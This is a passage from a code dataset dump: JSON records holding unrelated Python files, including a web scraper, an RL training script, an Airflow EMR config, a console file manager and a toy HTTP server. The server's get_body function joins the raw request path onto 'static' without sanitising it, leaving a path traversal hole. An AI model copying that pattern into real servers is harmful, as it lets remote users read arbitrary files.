)\n\n","sub_path":"make_residual_plot.py","file_name":"make_residual_plot.py","file_ext":"py","file_size_in_byte":6197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"181148014","text":"import scrapy\nfrom scrapy import Selector\nfrom scrapy_splash import SplashRequest, SplashTextResponse\n\nfrom ..items import Crawlencuentra24Item\n\nclass Ecncuentra24Spider(scrapy.Spider):\n name = 'Encuentra24Spider'\n start_urls = ['https://www.encuentra24.com/costa-rica-en/searchresult/real-estate-for-sale#search=f_currency.crc®ionslug=san-jose-san-jose-capital&page=1']\n BASE_URL = 'https://www.encuentra24.com'\n\n lua_script = '''\nfunction main(splash, args)\n assert(splash:go(args.url))\n wait_for_element(splash, '.location a', 10)\n btn = splash:select('.location a')\n btn:mouse_click()\n splash:wait(4)\n --wait_for_element(splash, '.place-name div', 10)\n return splash:html()\nend\n\nfunction wait_for_element(splash, css, maxwait)\n if maxwait == nil then\n maxwait = 10\n end\n local exit = false\n local time_chunk = 0.2\n local time_passed = 0\n while (exit == false)\n do\n local element = splash:select(css)\n if element then\n exit = true\n elseif time_passed >= maxwait then\n exit = true\n error('Timed out waiting for -' .. css)\n else\n splash:wait(time_chunk)\n time_passed = time_passed + time_chunk\n end\n end\nend\n'''\n\n def start_requests(self):\n for url in self.start_urls:\n yield SplashRequest(url=url, callback=self.parse, endpoint='render.html', args={'wait': 10})\n\n def parse(self, response):\n anuncios = Crawlencuentra24Item()\n\n todos_los_anuncions = response.css(\"article\")\n\n for anuncio in todos_los_anuncions:\n anuncios['titulo'] = anuncio.css(\"strong::text\").extract()\n anuncios['ubicacion'] = anuncio.css(\".ann-info-item::text\").extract()\n anuncios['precio'] = anuncio.css(\".ann-price-2nd div::text\").extract()\n anuncios['metrosCuadrados'] = anuncio.css(\".icon-area+ .value::text\").extract()\n anuncios['habitaciones'] = anuncio.css(\".icon-category-home+ .value::text\").extract()\n anuncios['descripcion'] = anuncio.css(\".ann-box-desc::text\").extract()\n\n link_anuncio = anuncio.css(\".ann-box-title::attr(href)\").get()\n\n yield SplashRequest(url=self.BASE_URL + link_anuncio, callback=self.parse_anuncio, endpoint='execute', args={'wait': 1, 'lua_source': self.lua_script})\n\n yield anuncios\n\n def parse_anuncio(self, response):\n selector = Selector(text=response.body)\n coordenadas = selector.css('.place-name::text').extract_first()\n print(coordenadas)\n","sub_path":"CrawlEncuentra24/spiders/Encuentra24Spider.py","file_name":"Encuentra24Spider.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"439005523","text":"# -*- coding:UTF-8 -*-\nimport xlrd\n\nfrom DeleteSheetAnalyzer import DeleteSheetAnalyzer\nfrom InsertSheetAnalyzer import InsertSheetAnalyzer\nfrom UpdateSheetAnalyzer import UpdateSheetAnalyzer\n\n# smd_file_path = \"/Users/RalphLee/Documents/Softwares/CoCall5/CoCall5_Files/袁博/单值代码申请(新)_glaj.xlsx\"\n# smd_file_path = \"/Users/RalphLee/Documents/Softwares/CoCall5/CoCall5_Files/刘阳-3/单值代码申请(新)--审批平台.xlsx\"\nsmd_file_path = \"/Users/RalphLee/Documents/Softwares/CoCall5/CoCall5_Files/魏蕾-1/单值代码申请(新).xlsx\"\n\ncode_type_for_insert = 11408888\n\n\ndef analyze_request_template(smd_path: str, code_type_for_insert: int):\n smd = xlrd.open_workbook(smd_path)\n insert_sheet_analyzer = InsertSheetAnalyzer(smd, \"增加\", code_type_for_insert)\n insert_sheet_analyzer.analyze_smd_sheet()\n\n update_sheet_analyzer = UpdateSheetAnalyzer(smd, \"修改\")\n update_sheet_analyzer.analyze_smd_sheet()\n\n delete_sheet_analyzer = DeleteSheetAnalyzer(smd, \"删除\")\n delete_sheet_analyzer.analyze_smd_sheet()\n\n\nanalyze_request_template(smd_file_path, code_type_for_insert)\n","sub_path":"ReferenceData/RequestTemplateAnalyzer/RequestTemplateAnalyzer.py","file_name":"RequestTemplateAnalyzer.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"187910839","text":"def fastaread(fpath):\r\n '''\r\n :param fpath: File pach\r\n :return: list of headers / list of sequences of FASTA-file\r\n '''\r\n f = open(fpath, 'r')\r\n headers = []\r\n seqs = []\r\n temp = ''\r\n for line in f:\r\n if line:\r\n if line[0] == '>':\r\n headers.append(line)\r\n if temp:\r\n seqs.append(temp)\r\n temp = ''\r\n else:\r\n temp += line.strip()\r\n seqs.append(temp.upper())\r\n return headers, seqs\r\n","sub_path":"assignment3/fastareader.py","file_name":"fastareader.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"617808097","text":"import os\nfrom openpyxl import Workbook\nimport pyperclip\n\n\ndef value_make(copied_value):\n '''클립보드에서 가져온 값 나눠주기(앞3자리 뺀값으로 list에 저장)'''\n divide_values = copied_value.split('미리보기')\n return divide_values\n\n\norigin_folder = 'D:\\\\'\nos.chdir(origin_folder)\nwb = Workbook()\nws = wb.active\nrow_num = 1\ncopy_v = pyperclip.paste()\ndivided_values = value_make(copied_value=copy_v)\nfor i in divided_values:\n if '재무회계팀' in i:\n print(i)\n\n\n\n","sub_path":"function_test/function_test.py","file_name":"function_test.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"322821814","text":"# https://oj.leetcode.com/problems/length-of-last-word/\n\nclass Solution:\n # @param s, a string\n # @return an integer\n def lengthOfLastWord(self, s):\n n = len(s)\n if n == 0:\n return 0\n\n # start, end is the start, end index of a word in s\n start, end = -1, -1\n for i, x in enumerate(s):\n if x.isalpha():\n if i == 0 or s[i-1] == ' ':\n start = i\n if i == n-1 or s[i+1] == ' ':\n end = i\n\n # not find a word\n if start == -1:\n return 0\n\n # find word\n return (end-start+1)\n","sub_path":"leetans/lengthOfLast.py","file_name":"lengthOfLast.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"291751945","text":"# Loading required libraries\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision.transforms as T\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\n\n# if gpu is to be used\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n# device = torch.device(\"cpu\") # uncomment if you want to use CPU\nprint('Device used for training: ' + \"GPU\" if torch.cuda.is_available() else \"CPU\")\n\nimport gym\nfrom gym_minigrid.envs import EmptyEnv\nimport vizdoomgym\nimport math\nimport random\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom itertools import count\nfrom PIL import Image\nfrom skimage.transform import resize\nfrom arguments import get_args\n\n# Importing local packages\nfrom utils import *\nfrom replay_memory import *\nfrom networks import *\n\n#### Initializing required variables\n\nargs = get_args()\n# Environment params\nIMG_HEIGHT = 80\nIMG_WIDTH = 80\nENV_NAME = args.env\nenv = gym.make(ENV_NAME)\n\n# Memory buffer params\nMEMORY_SIZE = 5000\nPRIORITY_MEMORY_SIZE = 1000\n\n# Action selection params\nsteps_done = 0\nBATCH_SIZE = 4000\nGAMMA = 0.99\nEPS_START = 1\nEPS_END = 0.01\nEPS_DECAY = 2000\nTARGET_UPDATE = 20\nEPS = 1\n\n# Creating all the networks\ntnet = thetaNet().to(device)\ntnet2 = theta2Net().to(device)\nanet = alphaNet().to(device)\nwnet = wNet().to(device)\nanet_target = alphaNet().to(device)\nanet_target.load_state_dict(anet.state_dict())\nanet_target.eval() # CHECK: what this actually does\n\n# Creating the buffer objects (normal and reward scenarios)\nmemory = ReplayMemory(MEMORY_SIZE)\nmemory_win = ReplayMemory(PRIORITY_MEMORY_SIZE)\n\n# Defining loss functions and setting up variables to track loss\nloss = nn.MSELoss()\nloss_a = nn.MSELoss()\nloss_b = nn.MSELoss()\nL_r_vec = []\nL_m_vec = []\nL_a_vec = []\n\n# Optimization settings\ntw_params = list(tnet.parameters()) + list(tnet2.parameters()) + list(wnet.parameters())\noptimizer_tw = optim.Adam(tw_params, lr=50e-5)\noptimizer_a = optim.Adam(anet.parameters(), lr=25e-5)\n\n#### Defining required functions \n\ndef select_action(phi, w, greedy=False):\n \"\"\"Function to select action\n \n Inputs:\n phi -> abstracted states batch\n (tensor of size b x 512)\n w -> weights of the reward network\n (tensor of size 512: CHECK)\n greedy -> returns greedy action if true\n (can be used during testing phase)\n returns eps-greedy if False\n \"\"\"\n \n # Calculating greedy action\n with torch.no_grad():\n greedy_action = anet(phi).matmul(w).max(1)[1]\n \n if(greedy):\n return greedy_action\n \n global steps_done\n global EPS\n \n # recalculating epsilon value\n sample = random.random()\n EPS = EPS_END + (EPS_START - EPS_END) * math.exp(-1. * steps_done / EPS_DECAY)\n steps_done += 1\n \n # doing epsilon greedy\n if sample > EPS:\n with torch.no_grad():\n aout = anet(phi)\n return aout.matmul(w).max(1)[1]\n else:\n return torch.tensor([[random.randrange(n_actions)]], device=device, dtype=torch.long)\n\ndef optimize_model():\n \"\"\"Function that samples from buffer, estimates loss and backprops\n to update network parameters.\n \n \"\"\"\n \n # When memory is not ready, do nothing\n if (len(memory) < BATCH_SIZE) or (not memory_win.is_ready()):\n return\n \n # Training reward and reconstruction branches\n if(np.random.rand()>0.8): # winning samples 20% times this runs\n transitions, bs = memory_win.sample(BATCH_SIZE)\n \n else: # intermediate samples\n transitions, bs = memory.sample(BATCH_SIZE)\n \n # Putting data is neat format\n batch = Transition(*zip(*transitions))\n state_batch = torch.cat(batch.state)\n action_batch = torch.cat(batch.action)\n reward_batch = torch.cat(batch.reward)\n nstate_batch = torch.cat(batch.next_state)\n \n # Optimizing the reward and reconstruction branches\n L_r = F.smooth_l1_loss(reward_batch, wnet(tnet(nstate_batch)).squeeze(1))\n L_a = loss_a(state_batch, tnet2(tnet(state_batch))) + loss_b(nstate_batch, tnet2(tnet(nstate_batch)))\n L_r_vec.append(L_r.item())\n L_a_vec.append(L_a.item())\n L_ra = L_a + L_r\n optimizer_tw.zero_grad()\n L_ra.backward()\n optimizer_tw.step()\n \n \n # Sampling for buffer: for training SR branch\n transitions, bs = memory.sample(32)\n batch = Transition(*zip(*transitions))\n state_batch = torch.cat(batch.state)\n action_batch = torch.cat(batch.action)\n reward_batch = torch.cat(batch.reward)\n nstate_batch = torch.cat(batch.next_state)\n done_batch = torch.cat(batch.done)\n \n \n # Create a non-final state mask\n non_final_mask = torch.tensor(tuple(map(lambda s: s==0,\n batch.done)), device=device, dtype=torch.bool)\n non_final_next_states = torch.cat([s for en, s in enumerate(batch.next_state)\n if batch.done[en]==0])\n # Finding max actions for each batch\n action_max = anet(tnet(non_final_next_states)).matmul(wnet.head.weight.data.view(-1,1)).max(1)[1]\n # initialize them to values we need for terminal states\n next_state_ests = tnet(nstate_batch) \n # replace the values of non-terminal states based on update equation\n next_state_ests[non_final_mask] = anet_target(tnet(non_final_next_states))[torch.arange(0, non_final_mask.sum()),action_max.squeeze(),:]\n \n # Optimizing the SR branch\n U_observed = anet(tnet(state_batch))[torch.arange(0, bs),action_batch.squeeze(),:]\n U_estimated = tnet(state_batch) + GAMMA * next_state_ests\n L_m = loss(U_observed, U_estimated)\n L_m_vec.append(L_m.item())\n optimizer_a.zero_grad()\n L_m.backward()\n optimizer_a.step()\n\n#### Training starts here\n# (line number below are the same as line numbers in the pseudo code)\nprint('Training is starting...')\n\n# Initializations: Line 1\nnum_episodes = 300 # CHANGE\nn_actions = 3\nR_eps = []\ned = []; eps_vec = [];\nactions = []\neval_r_mean = []; eval_r_std = []\n\n# Setting seeds\ntorch.manual_seed(0); np.random.seed(0)\nenv.seed(0)\ntorch.backends.cudnn.deterministic = True\n\nglobal i_episode\nfor i_episode in tqdm(range(num_episodes)): # Line 2\n R = 0\n # Trick from paper: dividing batch size by 2\n if(BATCH_SIZE>2):\n BATCH_SIZE = BATCH_SIZE // 2\n \n # Initialize the environment and state: Line 3\n env.reset()\n state = get_screen(env, h=IMG_HEIGHT, w=IMG_WIDTH, device=device)\n \n for t in count(): # Line 4\n \n # Find abstracted states: Line 5\n phi = tnet(state)\n \n # Select an action: Line 6\n action = select_action(phi, wnet.head.weight.data.view(-1,1))\n actions.append(action.item())\n \n # Perform an action: Line 7\n _, reward, done, _ = env.step(action.item())\n done = torch.tensor([done], device=device)\n if(reward > 0):\n reward = 1\n R = R + reward\n reward = torch.tensor([reward], device=device).float()\n next_state = get_screen(env, h=IMG_HEIGHT, w=IMG_WIDTH, device=device)\n \n # Store the transition in memory: Line 8\n if(reward<=0):\n memory.push(state, action, next_state, reward, done)\n else:\n memory_win.push(state, action, next_state, reward, done)\n memory.push(state, action, next_state, reward, done) \n \n # Move to the next state\n state = next_state\n\n # Lines 9 - 11\n optimize_model() # TODO\n \n # Additional tracking\n if done:\n ed.append(t+1)\n R_eps.append(R)\n eps_vec.append(EPS)\n break\n \n # Updating target network \n if i_episode % TARGET_UPDATE == 0:\n anet_target.load_state_dict(anet.state_dict())\n \n # End training if you're almost exploiting, don't waste iterations\n if EPS < 1.05*EPS_END:\n break\n\n# Visaulizing/Evaluating the trained model\ndef visualize_results():\n plt.figure(figsize=(18,9))\n plt.subplot(3,3,1); plt.plot(ed); plt.title('ep_length');\n plt.subplot(3,3,2); plt.plot(R_eps); plt.title('R'); \n plt.subplot(3,3,3); plt.plot(eps_vec); plt.title('eps values'); \n plt.subplot(3,3,4); plt.plot(L_r_vec[:]); plt.title('reward loss'); \n plt.subplot(3,3,5); plt.plot(L_m_vec[:]); plt.title('SR loss'); \n plt.subplot(3,3,6); plt.plot(L_a_vec[:]); plt.title('reconstruction loss'); \n plt.subplot(3,3,7); plt.plot(np.cumsum(ed)); plt.title('cumm episode steps')\n plt.show()\n\nvisualize_results()\n\nenv_test = gym.make(ENV_NAME)\ndef evaluate(no_seeds=10):\n \"\"\"Function to evaluate trained models using greedy actions.\n \"\"\"\n r_vec = []\n wins = 0\n for i in range(no_seeds):\n env_test.seed(i)\n env_test.reset()\n Rt = 0\n for timesteps in count():\n # choose greedy action\n action = select_action(tnet(get_screen(env_test)), wnet.head.weight.data.view(-1,1), greedy=True)\n _, R, done, _ = env_test.step(action.item())\n Rt = R + Rt\n if(done):\n r_vec.append(R)\n if R != 0:\n wins = wins + 1\n env_test.render()\n break\n \n return wins, np.mean(r_vec), np.std(r_vec) \n\nwins, a, b = evaluate(10)\nprint('Completely solved (out of 10): ', wins)","sub_path":"My-Code/train_agent.py","file_name":"train_agent.py","file_ext":"py","file_size_in_byte":9479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"413269294","text":"from SQL_Server_Connector import SQL_Server_Connection\nfrom Queries import Queries\nfrom Indexes import Indexes\nfrom Bond_Coupons import Bond_Coupons\nfrom Functions import *\nfrom API_BBG import *\n\nfrom datetime import datetime\n\nimport sys\nimport pandas as pd\nimport numpy as np\n\n\n# Main Script\nif __name__ == '__main__':\n # Set Refdate as Integer\n # Refdate = 20191227\n Refdate = int(sys.argv[1])\n Log_DirSrc = sys.argv[2]\n\n TdDate = int(date.today().strftime(\"%Y%m%d\"))\n Refdate == TdDate\n # Set Request type [BDP, BDH]\n BBG_Req = 'BDP'\n\n # Abre log\n file = open(Log_DirSrc, \"a+\")\n\n # Time now\n Time_Now = datetime.now().strftime(\"%Y%m%d %H:%M:%S\")\n\n ######################################## Save Coupons ########################################\n # Passar para arquivo main qndo estiver pronto\n # PREV_CPN_DT só funciona com BDP\n if Refdate == TdDate:\n Queries = Queries()\n SQL_Server_Connection = SQL_Server_Connection(database='PM')\n Bond_Coupons = Bond_Coupons(SQL_Server_Connection=SQL_Server_Connection, Queries=Queries)\n\n # Get list of Bonds\n Bonds_DF = Bond_Coupons.getBond_List(Refdate=Refdate)\n\n ############################### Bond Ratings ###############################\n # Bloomberg Rating\n Bonds_BBG_Ratings = Bond_Coupons.getBond_Ratings(Bonds_DF=Bonds_DF, Refdate=Refdate)\n\n # Rating Octante\n Bonds_Oct_Ratings = Bond_Coupons.getRatings_Group(Bonds_BBG_Ratings=Bonds_BBG_Ratings)\n\n # Update BondsRatings\n # Remove History\n Bond_Coupons.deleteBonds_Ratings(Bonds_Oct_Ratings=Bonds_Oct_Ratings, Refdate=Refdate)\n # Insert\n Bond_Coupons.insertBond_Ratings(Bonds_Oct_Ratings=Bonds_Oct_Ratings)\n file.write(f\"Refdate:{Refdate} Saved Bonds Ratings Time:{Time_Now}\\n\")\n\n ############################### Bond Coupons ###############################\n # Coupon List to Insert\n Bonds_TdCp = Bond_Coupons.getBond_Coupons(Bonds_DF=Bonds_DF, Refdate=Refdate)\n\n # Asset Events DataFrame\n AssetEvents_DF = Bond_Coupons.createAssetEvent_CouponsDF(\n Bonds_DF=Bonds_DF, Bonds_TdCp=Bonds_TdCp, Refdate=Refdate)\n\n # Update Asset Events\n # Remove History\n Bond_Coupons.deleteAssetEvents_Coupons(AssetEvents_DF=AssetEvents_DF, Refdate=Refdate)\n # Insert\n Bond_Coupons.insertAssetEvents_Coupons(AssetEvents_DF=AssetEvents_DF)\n\n # Log Saved Assets\n if not Bonds_TdCp.empty:\n TdCp_List = Bonds_TdCp[\"BBGTicker\"].tolist()\n file.write(f\"Refdate:{Refdate} Inserted Coupons Payments for Refdate {Refdate}:{TdCp_List}\")\n\n file.write(f\"Refdate:{Refdate} Saved_Coupons Time:{Time_Now}\\n\")\n file.close()\n","sub_path":"Save_Coupons.py","file_name":"Save_Coupons.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"135829467","text":"from _Helper import *\n\n# \n# Naive sort with O(c*N*N) complexity and relative smaller constant param c\n# \n\n# \n# TIME: O(N*N)\n# SPACE: O(1)\n# \n\n\n# \nclass Solution(object):\n def InsertionSort(self, A):\n for j in range(len(A))[1:]:\n key = A[j]\n i = j - 1\n while i >= 0 and A[i] > key:\n A[i + 1] = A[i]\n i -= 1\n A[i + 1] = key\n\n\n# \n\n# \ns = Solution()\nInput = [1, 3, 2, 6, 5]\nexpected = [1, 2, 3, 5, 6]\nactual = copy.deepcopy(Input)\ns.InsertionSort(actual)\nAreEqual(expected, actual, Input)\n# another pair\ns = Solution()\nInput = [1, 2, 3]\nexpected = [1, 2, 3]\nactual = copy.deepcopy(Input)\ns.InsertionSort(actual)\nAreEqual(expected, actual, Input)\n# another pair\ns = Solution()\nInput = [5, 4, 3, 2, 1]\nexpected = [1, 2, 3, 4, 5]\nactual = copy.deepcopy(Input)\ns.InsertionSort(actual)\nAreEqual(expected, actual, Input)\n# ","sub_path":"assets/Introduction-to-Algorithms/Python/2_1_InsertionSort.py","file_name":"2_1_InsertionSort.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"261355633","text":"import sys\nimport os\nfrom functions_filemgr import *\n\nif len(sys.argv) > 1: # Обработка запуска с аргументом\n command = sys.argv[1:]\n cmd = True\n save_info('Запуск с аргументом')\nelse: # Обработка запуска без аргумента\n command = [None]\n cmd = False\n save_info('Запуск без аргумента')\n\ncurrent_path = os.getcwd() # Получение текущего пути для отображения\nwhile command[0] != 'exit': # Программа работает пока не получит комманду на завершение\n\n if command[0] == 'crf': # Создание файла\n if len(command) >= 3:\n create_file(command[1], ' '.join(command[2:]))\n elif len(command) == 2:\n create_file(command[1])\n else:\n print('Аргументы не заданы')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'del': # Удаление\n if len(command) > 1:\n for arg in command[1:]: # Если указано несколько файлов или папок - удалить все\n delete_file(arg)\n else:\n print('Файлы для удаления не заданы')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'crd': # Создание папки\n if len(command) > 1:\n create_folder(command[1])\n else:\n print('Имя папки не задано')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'cp': # Копирование\n if len(command) == 3:\n copy_file(command[1], command[2])\n else:\n print('Аргументы отсутствуют или заданы не верно')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n elif command[0] == 'ls':\n get_list()\n elif command[0] == 'ch': # изменение рабочего каталога\n if len(command) == 2 and not cmd:\n try:\n os.chdir(command[1])\n current_path = command[1]\n except FileNotFoundError:\n print('Данный путь или каталог не существует')\n else:\n print('Аргументы отсутствуют или заданы не верно')\n ask_for_help()\n save_info('Выполнена комманда {}'.format(str(command)))\n else:\n if cmd:\n print('Нет такой команды')\n ask_for_help()\n else:\n print('Консольный файловый менеджер. Для справки введите \"help\"')\n\n if cmd: # Завершение цикла, если программа была вызвана с аргументами\n break\n\n command = input(info_string(current_path)).split(' ')\nsave_info('Завершение работы с программой')\n","sub_path":"py_introduction/lesson16/console_filemgr.py","file_name":"console_filemgr.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"517298579","text":"import json\nfrom airflow.models import Variable\n\n\nBOOTSTRAP_KEY = Variable.get(\"BOOTSTRAP_KEY\")\nJOB_NAME = Variable.get(\"JOB_NAME\")\nRELEASE_LABEL = Variable.get(\"RELEASE_LABEL\")\nCORE_INSTANCE_TYPE = Variable.get(\"CORE_INSTANCE_TYPE\")\nMASTER_INSTANCE_TYPE = Variable.get(\"MASTER_INSTANCE_TYPE\")\nMASTER_INSTANCE_COUNT = Variable.get(\"MASTER_INSTANCE_COUNT\")\nCORE_INSTANCE_COUNT = Variable.get(\"CORE_INSTANCE_COUNT\")\nINSTANCE_GROUP_MARKET = Variable.get(\"INSTANCE_GROUP_MARKET\")\nEXECUTOR_MEMORY = Variable.get(\"EXECUTOR_MEMORY\")\nEBSROOTVOLSIZE = Variable.get(\"EBSROOTVOLSIZE\")\n\nwith open(\"emr_applications/applications.json\") as app:\n APPLICATIONS = json.load(app)\n\nwith open(\"emr_steps/steps.json\") as step:\n STEPS = json.load(step)\n\n\n# JOB FLOW OVERRIDES Configuration\nJOB_FLOW_OVERRIDES = {\n \"Name\": \"{{ var.value.JOB_NAME }}\",\n \"ReleaseLabel\": \"{{ var.value.RELEASE_LABEL }}\",\n \"Applications\": APPLICATIONS,\n \"Configurations\": [\n {\n \"Classification\": \"spark-env\",\n \"Configurations\": [\n {\n \"Classification\": \"export\",\n \"Properties\": {\"PYSPARK_PYTHON\": \"/usr/bin/python3\"}, # by default EMR uses py2, change it to py3\n }\n ],\n },\n {\n \"Classification\": \"spark\",\n \"Properties\": {\n \"maximizeResourceAllocation\": \"true\"\n }\n },\n {\n \"Classification\": \"spark-defaults\",\n \"Properties\": {\n \"spark.executor.memory\": \"{{ var.value.EXECUTOR_MEMORY }}\",\n }\n },\n ],\n \"Instances\": {\n \"InstanceGroups\": [\n {\n \"Name\": \"Master node\",\n \"Market\": \"{{ var.value.INSTANCE_GROUP_MARKET }}\",\n \"InstanceRole\": \"MASTER\", \n \"InstanceType\": \"{{ var.value.MASTER_INSTANCE_TYPE }}\",\n \"InstanceCount\": \"{{ var.value.MASTER_INSTANCE_COUNT }}\",\n },\n {\n \"Name\": \"Core - 2\",\n \"Market\": \"{{ var.value.INSTANCE_GROUP_MARKET }}\",\n \"InstanceRole\": \"CORE\",\n \"InstanceType\": \"{{ var.value.CORE_INSTANCE_TYPE }}\",\n \"InstanceCount\": \"{{ var.value.CORE_INSTANCE_COUNT }}\",\n },\n ],\n \"KeepJobFlowAliveWhenNoSteps\": True,\n \"TerminationProtected\": False, # this lets us programmatically terminate the cluster\n },\n \"BootstrapActions\": [\n {\n \"Name\": \"Bootstrap\",\n \"ScriptBootstrapAction\": {\n \"Path\": \"s3://{{ var.value.BOOTSTRAP_KEY }}/emr_bootstrap.sh\"\n } \n }\n ],\n \"JobFlowRole\": \"EMR_EC2_DefaultRole\",\n \"ServiceRole\": \"EMR_DefaultRole\",\n \"EbsRootVolumeSize\": \"{{ var.value.EBSROOTVOLSIZE }}\"\n}\n\n\n\n# EMR STEPS Configuration\nEMR_STEPS = [\n STEPS\n]\n\n","sub_path":"cloud/dags/configuration/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"97519983","text":"#!/usr/bin/env python3\n\nimport socket\nimport _thread\nimport sys\nimport re\n\nfrom wsgiref.handlers import format_date_time\nfrom datetime import datetime\nfrom time import mktime\n\nclass ClientHandler:\n\tMAX_SIZE = 8192\n\n\tdef __init__(self, client):\n\t\tsuper().__init__()\n\t\tself.client = client\n\t\tself.size = 4096\n\t\tself.data = b''\n\t\tself.fileno = client.fileno()\n\n\tdef run(self):\n\t\tprint('Opening connection {}'.format(self.fileno))\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tdata = self.client.recv(self.size)\n\t\t\t\tself.data += data\n\t\t\t\tend_of_request = re.search(b'\\r\\n\\r\\n', data)\n\t\t\t\tif end_of_request:\n\t\t\t\t\tself.process_request()\n\t\t\t\t\tbreak\n\t\t\t\telif len(self.data) >= self.MAX_SIZE or len(data) == 0:\n\t\t\t\t\tbreak\n\t\t\texcept socket.timeout:\n\t\t\t\tprint('Connection {} timed out'.format(self.fileno))\n\t\t\t\tbreak\n\t\tself.client.close()\n\t\tprint('Closed connection {}'.format(self.fileno))\n\t\t_thread.exit()\n\n\tdef process_request(self):\n\t\trequest_line, request_headers = HTTPRequest.parse_headers(self.data)\n\t\trequest = HTTPRequest(request_headers, *request_line)\n\t\tresp = request.generate_response()\n\t\tself.client.sendall(resp)\n\nclass HTTPRequest:\n\tdef __init__(self, headers, method, resource, version):\n\t\tself.headers = headers\n\t\tself.method = method\n\t\tself.resource = resource\n\t\tself.version = version\n\n\tdef generate_response(self):\n\t\tcode, msg, body, file_type = HTTPResponse.get_body(self.resource)\n\t\tresp = HTTPResponse(code, msg, body, file_type)\n\t\treturn resp.get_response()\n\n\t@classmethod\n\tdef parse_headers(cls, data):\n\t\ttext = data.decode()\n\t\trequest_line = text.split()[:3]\n\t\trequest_headers = dict(re.findall('(.*): (.*)\\r\\n', text))\n\t\treturn (request_line, request_headers)\n\nclass HTTPResponse:\n\tdef __init__(self, code, msg, body, file_type):\n\t\tself.status = 'HTTP/1.1 {0} {1}'.format(code, msg)\n\t\tself.server = 'Server: jmw/0.01 (Debian/Linux)'\n\t\tself.content_type = 'Content-Type: text/{0}; charset=UTF-8'.format(file_type)\n\t\tself.body = body\n\t\tself.date = 'Date: {0}'.format(self.get_date())\n\n\tdef get_response(self):\n\t\theaders = [self.status, self.date, self.server, self.content_type, '\\r\\n']\n\t\tresponse = '\\r\\n'.join(headers)\n\t\tif self.body:\n\t\t\tresponse += self.body\n\t\treturn response.encode('utf-8')\n\n\tdef get_date(self):\n\t\tnow = datetime.now()\n\t\tstamp = mktime(now.timetuple())\n\t\treturn format_date_time(stamp)\n\n\t@classmethod\n\tdef get_body(cls, resource):\n\t\tif resource == '/':\n\t\t\tresource = '/index.html'\n\t\tfilename = 'static{0}'.format(resource)\n\t\text = re.search('\\.([a-z]+)$', filename)\n\t\tfile_type = ext.group(1) if ext else 'html' \n\t\ttry:\n\t\t\twith open(filename, 'r') as f:\n\t\t\t\treturn (200, 'OK', f.read(), file_type)\n\t\texcept IOError as e:\n\t\t\tprint('Warning [ERRNO {0}]: \\'{1}\\': {2}'.format(e.errno, filename, e.strerror))\n\t\t\twith open('static/404.html', 'r') as f:\n\t\t\t\treturn (404, 'NOT FOUND', f.read(), 'html')\n\nclass Server:\n\tdef __init__(self, port):\n\t\tself.port = port\n\t\tself.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.read_list = [self.sock]\n\t\tself.timeout = 0.0\n\t\tself.client_handlers = {}\n\n\tdef open_socket(self):\n\t\ttry:\n\t\t\tself.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\t\t\tself.sock.bind(('', self.port))\n\t\t\tself.sock.listen(5)\n\t\t\tprint('listening on {0}...'.format(self.port))\n\t\texcept socket.error as e:\n\t\t\tself.sock.close()\n\t\t\tprint('socket.error [ERRNO {0}]: {1}'.format(e.errno, e.strerror))\n\t\t\tsys.exit(1)\n\n\tdef start(self):\n\t\tsocket.setdefaulttimeout(10.0)\n\t\tself.open_socket()\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tfd, _ = self.sock.accept()\n\t\t\t\tclient = ClientHandler(fd)\n\t\t\t\t_thread.start_new_thread(client.run, ())\n\t\t\texcept KeyboardInterrupt:\n\t\t\t\tprint('Server is shutting down...')\n\t\t\t\tself.sock.close()\n\t\t\t\tsys.exit(1)\n\ndef main():\n\tServer(8000).start()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"kt_server.py","file_name":"kt_server.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
